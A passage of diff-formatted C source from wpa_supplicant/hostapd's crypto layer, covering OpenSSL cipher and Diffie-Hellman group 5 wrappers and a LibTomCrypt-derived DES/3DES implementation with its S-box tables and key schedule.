goto error;
|
||||
|
||||
*result_len = BN_bn2bin(bn_result, result);
|
||||
ret = 0;
|
||||
|
||||
error:
|
||||
BN_free(bn_base);
|
||||
BN_free(bn_exp);
|
||||
BN_free(bn_modulus);
|
||||
BN_free(bn_result);
|
||||
BN_CTX_free(ctx);
|
||||
return ret;
|
||||
}
|
||||
|
||||
|
||||
struct crypto_cipher {
|
||||
EVP_CIPHER_CTX enc;
|
||||
EVP_CIPHER_CTX dec;
|
||||
};
|
||||
|
||||
|
||||
struct crypto_cipher * crypto_cipher_init(enum crypto_cipher_alg alg,
|
||||
const u8 *iv, const u8 *key,
|
||||
size_t key_len)
|
||||
{
|
||||
struct crypto_cipher *ctx;
|
||||
const EVP_CIPHER *cipher;
|
||||
|
||||
ctx = os_zalloc(sizeof(*ctx));
|
||||
if (ctx == NULL)
|
||||
return NULL;
|
||||
|
||||
switch (alg) {
|
||||
#ifndef OPENSSL_NO_RC4
|
||||
case CRYPTO_CIPHER_ALG_RC4:
|
||||
cipher = EVP_rc4();
|
||||
break;
|
||||
#endif /* OPENSSL_NO_RC4 */
|
||||
#ifndef OPENSSL_NO_AES
|
||||
case CRYPTO_CIPHER_ALG_AES:
|
||||
switch (key_len) {
|
||||
case 16:
|
||||
cipher = EVP_aes_128_cbc();
|
||||
break;
|
||||
case 24:
|
||||
cipher = EVP_aes_192_cbc();
|
||||
break;
|
||||
case 32:
|
||||
cipher = EVP_aes_256_cbc();
|
||||
break;
|
||||
default:
|
||||
os_free(ctx);
|
||||
return NULL;
|
||||
}
|
||||
break;
|
||||
#endif /* OPENSSL_NO_AES */
|
||||
#ifndef OPENSSL_NO_DES
|
||||
case CRYPTO_CIPHER_ALG_3DES:
|
||||
cipher = EVP_des_ede3_cbc();
|
||||
break;
|
||||
case CRYPTO_CIPHER_ALG_DES:
|
||||
cipher = EVP_des_cbc();
|
||||
break;
|
||||
#endif /* OPENSSL_NO_DES */
|
||||
#ifndef OPENSSL_NO_RC2
|
||||
case CRYPTO_CIPHER_ALG_RC2:
|
||||
cipher = EVP_rc2_ecb();
|
||||
break;
|
||||
#endif /* OPENSSL_NO_RC2 */
|
||||
default:
|
||||
os_free(ctx);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
EVP_CIPHER_CTX_init(&ctx->enc);
|
||||
EVP_CIPHER_CTX_set_padding(&ctx->enc, 0);
|
||||
if (!EVP_EncryptInit_ex(&ctx->enc, cipher, NULL, NULL, NULL) ||
|
||||
!EVP_CIPHER_CTX_set_key_length(&ctx->enc, key_len) ||
|
||||
!EVP_EncryptInit_ex(&ctx->enc, NULL, NULL, key, iv)) {
|
||||
EVP_CIPHER_CTX_cleanup(&ctx->enc);
|
||||
os_free(ctx);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
EVP_CIPHER_CTX_init(&ctx->dec);
|
||||
EVP_CIPHER_CTX_set_padding(&ctx->dec, 0);
|
||||
if (!EVP_DecryptInit_ex(&ctx->dec, cipher, NULL, NULL, NULL) ||
|
||||
!EVP_CIPHER_CTX_set_key_length(&ctx->dec, key_len) ||
|
||||
!EVP_DecryptInit_ex(&ctx->dec, NULL, NULL, key, iv)) {
|
||||
EVP_CIPHER_CTX_cleanup(&ctx->enc);
|
||||
EVP_CIPHER_CTX_cleanup(&ctx->dec);
|
||||
os_free(ctx);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
return ctx;
|
||||
}
|
||||
|
||||
|
||||
int crypto_cipher_encrypt(struct crypto_cipher *ctx, const u8 *plain,
|
||||
u8 *crypt, size_t len)
|
||||
{
|
||||
int outl;
|
||||
if (!EVP_EncryptUpdate(&ctx->enc, crypt, &outl, plain, len))
|
||||
return -1;
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
int crypto_cipher_decrypt(struct crypto_cipher *ctx, const u8 *crypt,
|
||||
u8 *plain, size_t len)
|
||||
{
|
||||
int outl;
|
||||
outl = len;
|
||||
if (!EVP_DecryptUpdate(&ctx->dec, plain, &outl, crypt, len))
|
||||
return -1;
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
void crypto_cipher_deinit(struct crypto_cipher *ctx)
|
||||
{
|
||||
EVP_CIPHER_CTX_cleanup(&ctx->enc);
|
||||
EVP_CIPHER_CTX_cleanup(&ctx->dec);
|
||||
os_free(ctx);
|
||||
}
|
||||
|
||||
|
||||
void * dh5_init(struct wpabuf **priv, struct wpabuf **publ)
|
||||
{
|
||||
DH *dh;
|
||||
struct wpabuf *pubkey = NULL, *privkey = NULL;
|
||||
size_t publen, privlen;
|
||||
|
||||
*priv = NULL;
|
||||
*publ = NULL;
|
||||
|
||||
dh = DH_new();
|
||||
if (dh == NULL)
|
||||
return NULL;
|
||||
|
||||
dh->g = BN_new();
|
||||
if (dh->g == NULL || BN_set_word(dh->g, 2) != 1)
|
||||
goto err;
|
||||
|
||||
dh->p = get_group5_prime();
|
||||
if (dh->p == NULL)
|
||||
goto err;
|
||||
|
||||
if (DH_generate_key(dh) != 1)
|
||||
goto err;
|
||||
|
||||
publen = BN_num_bytes(dh->pub_key);
|
||||
pubkey = wpabuf_alloc(publen);
|
||||
if (pubkey == NULL)
|
||||
goto err;
|
||||
privlen = BN_num_bytes(dh->priv_key);
|
||||
privkey = wpabuf_alloc(privlen);
|
||||
if (privkey == NULL)
|
||||
goto err;
|
||||
|
||||
BN_bn2bin(dh->pub_key, wpabuf_put(pubkey, publen));
|
||||
BN_bn2bin(dh->priv_key, wpabuf_put(privkey, privlen));
|
||||
|
||||
*priv = privkey;
|
||||
*publ = pubkey;
|
||||
return dh;
|
||||
|
||||
err:
|
||||
wpabuf_free(pubkey);
|
||||
wpabuf_free(privkey);
|
||||
DH_free(dh);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
|
||||
struct wpabuf * dh5_derive_shared(void *ctx, const struct wpabuf *peer_public,
|
||||
const struct wpabuf *own_private)
|
||||
{
|
||||
BIGNUM *pub_key;
|
||||
struct wpabuf *res = NULL;
|
||||
size_t rlen;
|
||||
DH *dh = ctx;
|
||||
int keylen;
|
||||
|
||||
if (ctx == NULL)
|
||||
return NULL;
|
||||
|
||||
pub_key = BN_bin2bn(wpabuf_head(peer_public), wpabuf_len(peer_public),
|
||||
NULL);
|
||||
if (pub_key == NULL)
|
||||
return NULL;
|
||||
|
||||
rlen = DH_size(dh);
|
||||
res = wpabuf_alloc(rlen);
|
||||
if (res == NULL)
|
||||
goto err;
|
||||
|
||||
keylen = DH_compute_key(wpabuf_mhead(res), pub_key, dh);
|
||||
if (keylen < 0)
|
||||
goto err;
|
||||
wpabuf_put(res, keylen);
|
||||
BN_free(pub_key);
|
||||
|
||||
return res;
|
||||
|
||||
err:
|
||||
BN_free(pub_key);
|
||||
wpabuf_free(res);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
|
||||
void dh5_free(void *ctx)
|
||||
{
|
||||
DH *dh;
|
||||
if (ctx == NULL)
|
||||
return;
|
||||
dh = ctx;
|
||||
DH_free(dh);
|
||||
}
|
|
@ -0,0 +1,499 @@
|
|||
/*
|
||||
* DES and 3DES-EDE ciphers
|
||||
*
|
||||
* Modifications to LibTomCrypt implementation:
|
||||
* Copyright (c) 2006-2009, Jouni Malinen <j@w1.fi>
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License version 2 as
|
||||
* published by the Free Software Foundation.
|
||||
*
|
||||
* Alternatively, this software may be distributed under the terms of BSD
|
||||
* license.
|
||||
*
|
||||
* See README and COPYING for more details.
|
||||
*/
|
||||
|
||||
#include "includes.h"
|
||||
|
||||
#include "common.h"
|
||||
#include "crypto.h"
|
||||
#include "des_i.h"
|
||||
|
||||
/*
|
||||
* This implementation is based on a DES implementation included in
|
||||
* LibTomCrypt. The version here is modified to fit in wpa_supplicant/hostapd
|
||||
* coding style.
|
||||
*/
|
||||
|
||||
/* LibTomCrypt, modular cryptographic library -- Tom St Denis
|
||||
*
|
||||
* LibTomCrypt is a library that provides various cryptographic
|
||||
* algorithms in a highly modular and flexible manner.
|
||||
*
|
||||
* The library is free for all purposes without any express
|
||||
* guarantee it works.
|
||||
*
|
||||
* Tom St Denis, tomstdenis@gmail.com, http://libtomcrypt.com
|
||||
*/
|
||||
|
||||
/**
|
||||
DES code submitted by Dobes Vandermeer
|
||||
*/
|
||||
|
||||
#define ROLc(x, y) \
|
||||
((((unsigned long) (x) << (unsigned long) ((y) & 31)) | \
|
||||
(((unsigned long) (x) & 0xFFFFFFFFUL) >> \
|
||||
(unsigned long) (32 - ((y) & 31)))) & 0xFFFFFFFFUL)
|
||||
#define RORc(x, y) \
|
||||
(((((unsigned long) (x) & 0xFFFFFFFFUL) >> \
|
||||
(unsigned long) ((y) & 31)) | \
|
||||
((unsigned long) (x) << (unsigned long) (32 - ((y) & 31)))) & \
|
||||
0xFFFFFFFFUL)
|
||||
|
||||
|
||||
static const u32 bytebit[8] =
|
||||
{
|
||||
0200, 0100, 040, 020, 010, 04, 02, 01
|
||||
};
|
||||
|
||||
static const u32 bigbyte[24] =
|
||||
{
|
||||
0x800000UL, 0x400000UL, 0x200000UL, 0x100000UL,
|
||||
0x80000UL, 0x40000UL, 0x20000UL, 0x10000UL,
|
||||
0x8000UL, 0x4000UL, 0x2000UL, 0x1000UL,
|
||||
0x800UL, 0x400UL, 0x200UL, 0x100UL,
|
||||
0x80UL, 0x40UL, 0x20UL, 0x10UL,
|
||||
0x8UL, 0x4UL, 0x2UL, 0x1L
|
||||
};
|
||||
|
||||
/* Use the key schedule specific in the standard (ANSI X3.92-1981) */
|
||||
|
||||
static const u8 pc1[56] = {
|
||||
56, 48, 40, 32, 24, 16, 8, 0, 57, 49, 41, 33, 25, 17,
|
||||
9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35,
|
||||
62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21,
|
||||
13, 5, 60, 52, 44, 36, 28, 20, 12, 4, 27, 19, 11, 3
|
||||
};
|
||||
|
||||
static const u8 totrot[16] = {
|
||||
1, 2, 4, 6,
|
||||
8, 10, 12, 14,
|
||||
15, 17, 19, 21,
|
||||
23, 25, 27, 28
|
||||
};
|
||||
|
||||
static const u8 pc2[48] = {
|
||||
13, 16, 10, 23, 0, 4, 2, 27, 14, 5, 20, 9,
|
||||
22, 18, 11, 3, 25, 7, 15, 6, 26, 19, 12, 1,
|
||||
40, 51, 30, 36, 46, 54, 29, 39, 50, 44, 32, 47,
|
||||
43, 48, 38, 55, 33, 52, 45, 41, 49, 35, 28, 31
|
||||
};
|
||||
|
||||
|
||||
static const u32 SP1[64] =
|
||||
{
|
||||
0x01010400UL, 0x00000000UL, 0x00010000UL, 0x01010404UL,
|
||||
0x01010004UL, 0x00010404UL, 0x00000004UL, 0x00010000UL,
|
||||
0x00000400UL, 0x01010400UL, 0x01010404UL, 0x00000400UL,
|
||||
0x01000404UL, 0x01010004UL, 0x01000000UL, 0x00000004UL,
|
||||
0x00000404UL, 0x01000400UL, 0x01000400UL, 0x00010400UL,
|
||||
0x00010400UL, 0x01010000UL, 0x01010000UL, 0x01000404UL,
|
||||
0x00010004UL, 0x01000004UL, 0x01000004UL, 0x00010004UL,
|
||||
0x00000000UL, 0x00000404UL, 0x00010404UL, 0x01000000UL,
|
||||
0x00010000UL, 0x01010404UL, 0x00000004UL, 0x01010000UL,
|
||||
0x01010400UL, 0x01000000UL, 0x01000000UL, 0x00000400UL,
|
||||
0x01010004UL, 0x00010000UL, 0x00010400UL, 0x01000004UL,
|
||||
0x00000400UL, 0x00000004UL, 0x01000404UL, 0x00010404UL,
|
||||
0x01010404UL, 0x00010004UL, 0x01010000UL, 0x01000404UL,
|
||||
0x01000004UL, 0x00000404UL, 0x00010404UL, 0x01010400UL,
|
||||
0x00000404UL, 0x01000400UL, 0x01000400UL, 0x00000000UL,
|
||||
0x00010004UL, 0x00010400UL, 0x00000000UL, 0x01010004UL
|
||||
};
|
||||
|
||||
static const u32 SP2[64] =
|
||||
{
|
||||
0x80108020UL, 0x80008000UL, 0x00008000UL, 0x00108020UL,
|
||||
0x00100000UL, 0x00000020UL, 0x80100020UL, 0x80008020UL,
|
||||
0x80000020UL, 0x80108020UL, 0x80108000UL, 0x80000000UL,
|
||||
0x80008000UL, 0x00100000UL, 0x00000020UL, 0x80100020UL,
|
||||
0x00108000UL, 0x00100020UL, 0x80008020UL, 0x00000000UL,
|
||||
0x80000000UL, 0x00008000UL, 0x00108020UL, 0x80100000UL,
|
||||
0x00100020UL, 0x80000020UL, 0x00000000UL, 0x00108000UL,
|
||||
0x00008020UL, 0x80108000UL, 0x80100000UL, 0x00008020UL,
|
||||
0x00000000UL, 0x00108020UL, 0x80100020UL, 0x00100000UL,
|
||||
0x80008020UL, 0x80100000UL, 0x80108000UL, 0x00008000UL,
|
||||
0x80100000UL, 0x80008000UL, 0x00000020UL, 0x80108020UL,
|
||||
0x00108020UL, 0x00000020UL, 0x00008000UL, 0x80000000UL,
|
||||
0x00008020UL, 0x80108000UL, 0x00100000UL, 0x80000020UL,
|
||||
0x00100020UL, 0x80008020UL, 0x80000020UL, 0x00100020UL,
|
||||
0x00108000UL, 0x00000000UL, 0x80008000UL, 0x00008020UL,
|
||||
0x80000000UL, 0x80100020UL, 0x80108020UL, 0x00108000UL
|
||||
};
|
||||
|
||||
static const u32 SP3[64] =
|
||||
{
|
||||
0x00000208UL, 0x08020200UL, 0x00000000UL, 0x08020008UL,
|
||||
0x08000200UL, 0x00000000UL, 0x00020208UL, 0x08000200UL,
|
||||
0x00020008UL, 0x08000008UL, 0x08000008UL, 0x00020000UL,
|
||||
0x08020208UL, 0x00020008UL, 0x08020000UL, 0x00000208UL,
|
||||
0x08000000UL, 0x00000008UL, 0x08020200UL, 0x00000200UL,
|
||||
0x00020200UL, 0x08020000UL, 0x08020008UL, 0x00020208UL,
|
||||
0x08000208UL, 0x00020200UL, 0x00020000UL, 0x08000208UL,
|
||||
0x00000008UL, 0x08020208UL, 0x00000200UL, 0x08000000UL,
|
||||
0x08020200UL, 0x08000000UL, 0x00020008UL, 0x00000208UL,
|
||||
0x00020000UL, 0x08020200UL, 0x08000200UL, 0x00000000UL,
|
||||
0x00000200UL, 0x00020008UL, 0x08020208UL, 0x08000200UL,
|
||||
0x08000008UL, 0x00000200UL, 0x00000000UL, 0x08020008UL,
|
||||
0x08000208UL, 0x00020000UL, 0x08000000UL, 0x08020208UL,
|
||||
0x00000008UL, 0x00020208UL, 0x00020200UL, 0x08000008UL,
|
||||
0x08020000UL, 0x08000208UL, 0x00000208UL, 0x08020000UL,
|
||||
0x00020208UL, 0x00000008UL, 0x08020008UL, 0x00020200UL
|
||||
};
|
||||
|
||||
static const u32 SP4[64] =
|
||||
{
|
||||
0x00802001UL, 0x00002081UL, 0x00002081UL, 0x00000080UL,
|
||||
0x00802080UL, 0x00800081UL, 0x00800001UL, 0x00002001UL,
|
||||
0x00000000UL, 0x00802000UL, 0x00802000UL, 0x00802081UL,
|
||||
0x00000081UL, 0x00000000UL, 0x00800080UL, 0x00800001UL,
|
||||
0x00000001UL, 0x00002000UL, 0x00800000UL, 0x00802001UL,
|
||||
0x00000080UL, 0x00800000UL, 0x00002001UL, 0x00002080UL,
|
||||
0x00800081UL, 0x00000001UL, 0x00002080UL, 0x00800080UL,
|
||||
0x00002000UL, 0x00802080UL, 0x00802081UL, 0x00000081UL,
|
||||
0x00800080UL, 0x00800001UL, 0x00802000UL, 0x00802081UL,
|
||||
0x00000081UL, 0x00000000UL, 0x00000000UL, 0x00802000UL,
|
||||
0x00002080UL, 0x00800080UL, 0x00800081UL, 0x00000001UL,
|
||||
0x00802001UL, 0x00002081UL, 0x00002081UL, 0x00000080UL,
|
||||
0x00802081UL, 0x00000081UL, 0x00000001UL, 0x00002000UL,
|
||||
0x00800001UL, 0x00002001UL, 0x00802080UL, 0x00800081UL,
|
||||
0x00002001UL, 0x00002080UL, 0x00800000UL, 0x00802001UL,
|
||||
0x00000080UL, 0x00800000UL, 0x00002000UL, 0x00802080UL
|
||||
};
|
||||
|
||||
static const u32 SP5[64] =
|
||||
{
|
||||
0x00000100UL, 0x02080100UL, 0x02080000UL, 0x42000100UL,
|
||||
0x00080000UL, 0x00000100UL, 0x40000000UL, 0x02080000UL,
|
||||
0x40080100UL, 0x00080000UL, 0x02000100UL, 0x40080100UL,
|
||||
0x42000100UL, 0x42080000UL, 0x00080100UL, 0x40000000UL,
|
||||
0x02000000UL, 0x40080000UL, 0x40080000UL, 0x00000000UL,
|
||||
0x40000100UL, 0x42080100UL, 0x42080100UL, 0x02000100UL,
|
||||
0x42080000UL, 0x40000100UL, 0x00000000UL, 0x42000000UL,
|
||||
0x02080100UL, 0x02000000UL, 0x42000000UL, 0x00080100UL,
|
||||
0x00080000UL, 0x42000100UL, 0x00000100UL, 0x02000000UL,
|
||||
0x40000000UL, 0x02080000UL, 0x42000100UL, 0x40080100UL,
|
||||
0x02000100UL, 0x40000000UL, 0x42080000UL, 0x02080100UL,
|
||||
0x40080100UL, 0x00000100UL, 0x02000000UL, 0x42080000UL,
|
||||
0x42080100UL, 0x00080100UL, 0x42000000UL, 0x42080100UL,
|
||||
0x02080000UL, 0x00000000UL, 0x40080000UL, 0x42000000UL,
|
||||
0x00080100UL, 0x02000100UL, 0x40000100UL, 0x00080000UL,
|
||||
0x00000000UL, 0x40080000UL, 0x02080100UL, 0x40000100UL
|
||||
};
|
||||
|
||||
static const u32 SP6[64] =
|
||||
{
|
||||
0x20000010UL, 0x20400000UL, 0x00004000UL, 0x20404010UL,
|
||||
0x20400000UL, 0x00000010UL, 0x20404010UL, 0x00400000UL,
|
||||
0x20004000UL, 0x00404010UL, 0x00400000UL, 0x20000010UL,
|
||||
0x00400010UL, 0x20004000UL, 0x20000000UL, 0x00004010UL,
|
||||
0x00000000UL, 0x00400010UL, 0x20004010UL, 0x00004000UL,
|
||||
0x00404000UL, 0x20004010UL, 0x00000010UL, 0x20400010UL,
|
||||
0x20400010UL, 0x00000000UL, 0x00404010UL, 0x20404000UL,
|
||||
0x00004010UL, 0x00404000UL, 0x20404000UL, 0x20000000UL,
|
||||
0x20004000UL, 0x00000010UL, 0x20400010UL, 0x00404000UL,
|
||||
0x20404010UL, 0x00400000UL, 0x00004010UL, 0x20000010UL,
|
||||
0x00400000UL, 0x20004000UL, 0x20000000UL, 0x00004010UL,
|
||||
0x20000010UL, 0x20404010UL, 0x00404000UL, 0x20400000UL,
|
||||
0x00404010UL, 0x20404000UL, 0x00000000UL, 0x20400010UL,
|
||||
0x00000010UL, 0x00004000UL, 0x20400000UL, 0x00404010UL,
|
||||
0x00004000UL, 0x00400010UL, 0x20004010UL, 0x00000000UL,
|
||||
0x20404000UL, 0x20000000UL, 0x00400010UL, 0x20004010UL
|
||||
};
|
||||
|
||||
static const u32 SP7[64] =
|
||||
{
|
||||
0x00200000UL, 0x04200002UL, 0x04000802UL, 0x00000000UL,
|
||||
0x00000800UL, 0x04000802UL, 0x00200802UL, 0x04200800UL,
|
||||
0x04200802UL, 0x00200000UL, 0x00000000UL, 0x04000002UL,
|
||||
0x00000002UL, 0x04000000UL, 0x04200002UL, 0x00000802UL,
|
||||
0x04000800UL, 0x00200802UL, 0x00200002UL, 0x04000800UL,
|
||||
0x04000002UL, 0x04200000UL, 0x04200800UL, 0x00200002UL,
|
||||
0x04200000UL, 0x00000800UL, 0x00000802UL, 0x04200802UL,
|
||||
0x00200800UL, 0x00000002UL, 0x04000000UL, 0x00200800UL,
|
||||
0x04000000UL, 0x00200800UL, 0x00200000UL, 0x04000802UL,
|
||||
0x04000802UL, 0x04200002UL, 0x04200002UL, 0x00000002UL,
|
||||
0x00200002UL, 0x04000000UL, 0x04000800UL, 0x00200000UL,
|
||||
0x04200800UL, 0x00000802UL, 0x00200802UL, 0x04200800UL,
|
||||
0x00000802UL, 0x04000002UL, 0x04200802UL, 0x04200000UL,
|
||||
0x00200800UL, 0x00000000UL, 0x00000002UL, 0x04200802UL,
|
||||
0x00000000UL, 0x00200802UL, 0x04200000UL, 0x00000800UL,
|
||||
0x04000002UL, 0x04000800UL, 0x00000800UL, 0x00200002UL
|
||||
};
|
||||
|
||||
static const u32 SP8[64] =
|
||||
{
|
||||
0x10001040UL, 0x00001000UL, 0x00040000UL, 0x10041040UL,
|
||||
0x10000000UL, 0x10001040UL, 0x00000040UL, 0x10000000UL,
|
||||
0x00040040UL, 0x10040000UL, 0x10041040UL, 0x00041000UL,
|
||||
0x10041000UL, 0x00041040UL, 0x00001000UL, 0x00000040UL,
|
||||
0x10040000UL, 0x10000040UL, 0x10001000UL, 0x00001040UL,
|
||||
0x00041000UL, 0x00040040UL, 0x10040040UL, 0x10041000UL,
|
||||
0x00001040UL, 0x00000000UL, 0x00000000UL, 0x10040040UL,
|
||||
0x10000040UL, 0x10001000UL, 0x00041040UL, 0x00040000UL,
|
||||
0x00041040UL, 0x00040000UL, 0x10041000UL, 0x00001000UL,
|
||||
0x00000040UL, 0x10040040UL, 0x00001000UL, 0x00041040UL,
|
||||
0x10001000UL, 0x00000040UL, 0x10000040UL, 0x10040000UL,
|
||||
0x10040040UL, 0x10000000UL, 0x00040000UL, 0x10001040UL,
|
||||
0x00000000UL, 0x10041040UL, 0x00040040UL, 0x10000040UL,
|
||||
0x10040000UL, 0x10001000UL, 0x10001040UL, 0x00000000UL,
|
||||
0x10041040UL, 0x00041000UL, 0x00041000UL, 0x00001040UL,
|
||||
0x00001040UL, 0x00040040UL, 0x10000000UL, 0x10041000UL
|
||||
};
|
||||
|
||||
|
||||
static void cookey(const u32 *raw1, u32 *keyout)
|
||||
{
|
||||
u32 *cook;
|
||||
const u32 *raw0;
|
||||
u32 dough[32];
|
||||
int i;
|
||||
|
||||
cook = dough;
|
||||
for (i = 0; i < 16; i++, raw1++) {
|
||||
raw0 = raw1++;
|
||||
*cook = (*raw0 & 0x00fc0000L) << 6;
|
||||
*cook |= (*raw0 & 0x00000fc0L) << 10;
|
||||
*cook |= (*raw1 & 0x00fc0000L) >> 10;
|
||||
*cook++ |= (*raw1 & 0x00000fc0L) >> 6;
|
||||
*cook = (*raw0 & 0x0003f000L) << 12;
|
||||
*cook |= (*raw0 & 0x0000003fL) << 16;
|
||||
*cook |= (*raw1 & 0x0003f000L) >> 4;
|
||||
*cook++ |= (*raw1 & 0x0000003fL);
|
||||
}
|
||||
|
||||
os_memcpy(keyout, dough, sizeof(dough));
|
||||
}
|
||||
|
||||
|
||||
static void deskey(const u8 *key, int decrypt, u32 *keyout)
|
||||
{
|
||||
u32 i, j, l, m, n, kn[32];
|
||||
u8 pc1m[56], pcr[56];
|
||||
|
||||
for (j = 0; j < 56; j++) {
|
||||
l = (u32) pc1[j];
|
||||
m = l & 7;
|
||||
pc1m[j] = (u8)
|
||||
((key[l >> 3U] & bytebit[m]) == bytebit[m] ? 1 : 0);
|
||||
}
|
||||
|
||||
for (i = 0; i < 16; i++) {
|
||||
if (decrypt)
|
||||
m = (15 - i) << 1;
|
||||
else
|
||||
m = i << 1;
|
||||
n = m + 1;
|
||||
kn[m] = kn[n] = 0L;
|
||||
for (j = 0; j < 28; j++) {
|
||||
l = j + (u32) totrot[i];
|
||||
if (l < 28)
|
||||
pcr[j] = pc1m[l];
|
||||
else
|
||||
pcr[j] = pc1m[l - 28];
|
||||
}
|
||||
for (/* j = 28 */; j < 56; j++) {
|
||||
l = j + (u32) totrot[i];
|
||||
if (l < 56)
|
||||
pcr[j] = pc1m[l];
|
||||
else
|
||||
pcr[j] = pc1m[l - 28];
|
||||
}
|
||||
for (j = 0; j < 24; j++) {
|
||||
if ((int) pcr[(int) pc2[j]] != 0)
|
||||
kn[m] |= bigbyte[j];
|
||||
if ((int) pcr[(int) pc2[j + 24]] != 0)
|
||||
kn[n] |= bigbyte[j];
|
||||
}
|
||||
}
|
||||
|
||||
cookey(kn, keyout);
|
||||
}
|
||||
|
||||
|
||||
static void desfunc(u32 *block, const u32 *keys)
|
||||
{
|
||||
u32 work, right, leftt;
|
||||
int cur_round;
|
||||
|
||||
leftt = block[0];
|
||||
right = block[1];
|
||||
|
||||
work = ((leftt >> 4) ^ right) & 0x0f0f0f0fL;
|
||||
right ^= work;
|
||||
leftt ^= (work << 4);
|
||||
|
||||
work = ((leftt >> 16) ^ right) & 0x0000ffffL;
|
||||
right ^= work;
|
||||
leftt ^= (work << 16);
|
||||
|
||||
work = ((right >> 2) ^ leftt) & 0x33333333L;
|
||||
leftt ^= work;
|
||||
right ^= (work << 2);
|
||||
|
||||
work = ((right >> 8) ^ leftt) & 0x00ff00ffL;
|
||||
leftt ^= work;
|
||||
right ^= (work << 8);
|
||||
|
||||
right = ROLc(right, 1);
|
||||
work = (leftt ^ right) & 0xaaaaaaaaL;
|
||||
|
||||
leftt ^= work;
|
||||
right ^= work;
|
||||
leftt = ROLc(leftt, 1);
|
||||
|
||||
for (cur_round = 0; cur_round < 8; cur_round++) {
|
||||
work = RORc(right, 4) ^ *keys++;
|
||||
leftt ^= SP7[work & 0x3fL]
|
||||
^ SP5[(work >> 8) & 0x3fL]
|
||||
^ SP3[(work >> 16) & 0x3fL]
|
||||
^ SP1[(work >> 24) & 0x3fL];
|
||||
work = right ^ *keys++;
|
||||
leftt ^= SP8[ work & 0x3fL]
|
||||
^ SP6[(work >> 8) & 0x3fL]
|
||||
^ SP4[(work >> 16) & 0x3fL]
|
||||
^ SP2[(work >> 24) & 0x3fL];
|
||||
|
||||
work = RORc(leftt, 4) ^ *keys++;
|
||||
right ^= SP7[ work & 0x3fL]
|
||||
^ SP5[(work >> 8) & 0x3fL]
|
||||
^ SP3[(work >> 16) & 0x3fL]
|
||||
^ SP1[(work >> 24) & 0x3fL];
|
||||
work = leftt ^ *keys++;
|
||||
right ^= SP8[ work & 0x3fL]
|
||||
^ SP6[(work >> 8) & 0x3fL]
|
||||
^ SP4[(work >> 16) & 0x3fL]
|
||||
^ SP2[(work >> 24) & 0x3fL];
|
||||
}
|
||||
|
||||
right = RORc(right, 1);
|
||||
work = (leftt ^ right) & 0xaaaaaaaaL;
|
||||
leftt ^= work;
|
||||
right ^= work;
|
||||
leftt = RORc(leftt, 1);
|
||||
work = ((leftt >> 8) ^ right) & 0x00ff00ffL;
|
||||
right ^= work;
|
||||
leftt ^= (work << 8);
|
||||
/* -- */
|
||||
work = ((leftt >> 2) ^ right) & 0x33333333L;
|
||||
right ^= work;
|
||||
leftt ^= (work << 2);
|
||||
work = ((right >> 16) ^ leftt) & 0x0000ffffL;
|
||||
leftt ^= work;
|
||||
right ^= (work << 16);
|
||||
work = ((right >> 4) ^ leftt) & 0x0f0f0f0fL;
|
||||
leftt ^= work;
|
||||
right ^= (work << 4);
|
||||
|
||||
block[0] = right;
|
||||
block[1] = leftt;
|
||||
}
|
||||
|
||||
|
||||
/* wpa_supplicant/hostapd specific wrapper */
|
||||
|
||||
void des_encrypt(const u8 *clear, const u8 *key, u8 *cypher)
|
||||
{
|
||||
u8 pkey[8], next, tmp;
|
||||
int i;
|
||||
u32 ek[32], work[2];
|
||||
|
||||
/* Add parity bits to the key */
|
||||
next = 0;
|
||||
for (i = 0; i < 7; i++) {
|
||||
tmp = key[i];
|
||||
pkey[i] = (tmp >> i) | next | 1;
|
||||
next = tmp << (7 - i);
|
||||
}
|
||||
pkey[i] = next | 1;
|
||||
|
||||
deskey(pkey, 0, ek);
|
||||
|
||||
work[0] = WPA_GET_BE32(clear);
|
||||
work[1] = WPA_GET_BE32(clear + 4);
|
||||
desfunc(work, ek);
|
||||
WPA_PUT_BE32(cypher, work[0]);
|
||||
WPA_PUT_BE32(cypher + 4, work[1]);
|
||||
|
||||
os_memset(pkey, 0, sizeof(pkey));
|
||||
os_memset(ek, 0, sizeof(ek));
|
||||
}
|
||||
|
||||
|
||||
void des_key_setup(const u8 *key, u32 *ek, u32 *dk)
|
||||
{
|
||||
deskey(key, 0, ek);
|
||||
deskey(key, 1, dk);
|
||||
}
|
||||
|
||||
|
||||
void des_block_encrypt(const u8 *plain, const u32 *ek, u8 *crypt)
|
||||
{
|
||||
u32 work[2];
|
||||
work[0] = WPA_GET_BE32(plain);
|
||||
work[1] = WPA_GET_BE32(plain + 4);
|
||||
desfunc(work, ek);
|
||||
WPA_PUT_BE32(crypt, work[0]);
|
||||
WPA_PUT_BE32(crypt + 4, work[1]);
|
||||
}
|
||||
|
||||
|
||||
void des_block_decrypt(const u8 *crypt, const u32 *dk, u8 *plain)
|
||||
{
|
||||
u32 work[2];
|
||||
work[0] = WPA_GET_BE32(crypt);
|
||||
work[1] = WPA_GET_BE32(crypt + 4);
|
||||
desfunc(work, dk);
|
||||
WPA_PUT_BE32(plain, work[0]);
|
||||
WPA_PUT_BE32(plain + 4, work[1]);
|
||||
}
|
||||
|
||||
|
||||
void des3_key_setup(const u8 *key, struct des3_key_s *dkey)
|
||||
{
|
||||
deskey(key, 0, dkey->ek[0]);
|
||||
deskey(key + 8, 1, dkey->ek[1]);
|
||||
deskey(key + 16, 0, dkey->ek[2]);
|
||||
|
||||
deskey(key, 1, dkey->dk[2]);
|
||||
deskey(key + 8, 0, dkey->dk[1]);
|
||||
deskey(key + 16, 1, dkey->dk[0]);
|
||||
}
|
||||
|
||||
|
||||
void des3_encrypt(const u8 *plain, const struct des3_key_s *key, u8 *crypt)
|
||||
{
|
||||
u32 work[2];
|
||||
|
||||
work[0] = WPA_GET_BE32(plain);
|
||||
work[1] = WPA_GET_BE32(plain + 4);
|
||||
desfunc(work, key->ek[0]);
|
||||
desfunc(work, key->ek[1]);
|
||||
desfunc(work, key->ek[2]);
|
||||
WPA_PUT_BE32(crypt, work[0]);
|
||||
